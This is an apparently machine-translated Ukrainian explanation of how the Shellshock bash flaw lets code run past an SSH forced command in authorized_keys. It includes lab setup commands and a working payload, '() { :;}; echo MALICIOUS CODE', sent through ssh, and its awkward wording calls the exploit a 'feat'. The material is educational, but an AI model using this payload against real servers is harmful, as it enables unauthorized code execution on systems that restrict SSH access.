Одним із прикладів, коли це можна використати, є сервери з authorized_keys
примусовою командою. При додаванні запису в ~/.ssh/authorized_keys
, ви можете випередити лінію , command="foo"
щоб змусити foo
бути запущений в будь-який час , що SSH використовується відкритий ключ. За допомогою цього подвигу, якщо встановлено оболонку цільового користувача bash
, вони можуть скористатися цим експлуатацією для запуску речей, окрім команди, до якої вони змушені.
Це, мабуть, має більше сенсу в прикладі, тому ось приклад:
sudo useradd -d /testuser -s /bin/bash testuser
sudo mkdir -p /testuser/.ssh
sudo sh -c "echo command=\\\"echo starting sleep; sleep 1\\\" $(cat ~/.ssh/id_rsa.pub) > /testuser/.ssh/authorized_keys"
sudo chown -R testuser /testuser
Тут ми створили користувача testuser
, який змушує запускати будь-які ssh-з'єднання за допомогою вашого ключа ssh echo starting sleep; sleep 1
.
Ми можемо перевірити це за допомогою:
$ ssh testuser@localhost echo something else
starting sleep
Зверніть увагу, як наші echo something else
не запускаються, але starting sleep
показує, що примусова команда виконувалася.
Тепер покажемо, як можна використовувати цей подвиг:
$ ssh testuser@localhost '() { :;}; echo MALICIOUS CODE'
MALICIOUS CODE
starting sleep
Це працює, тому що sshd
встановлює SSH_ORIGINAL_COMMAND
змінну середовища для переданої команди. Тож хоч і sshd
побіг sleep
, а не команда, яку я йому сказав, через міркування мій код все-таки запускається.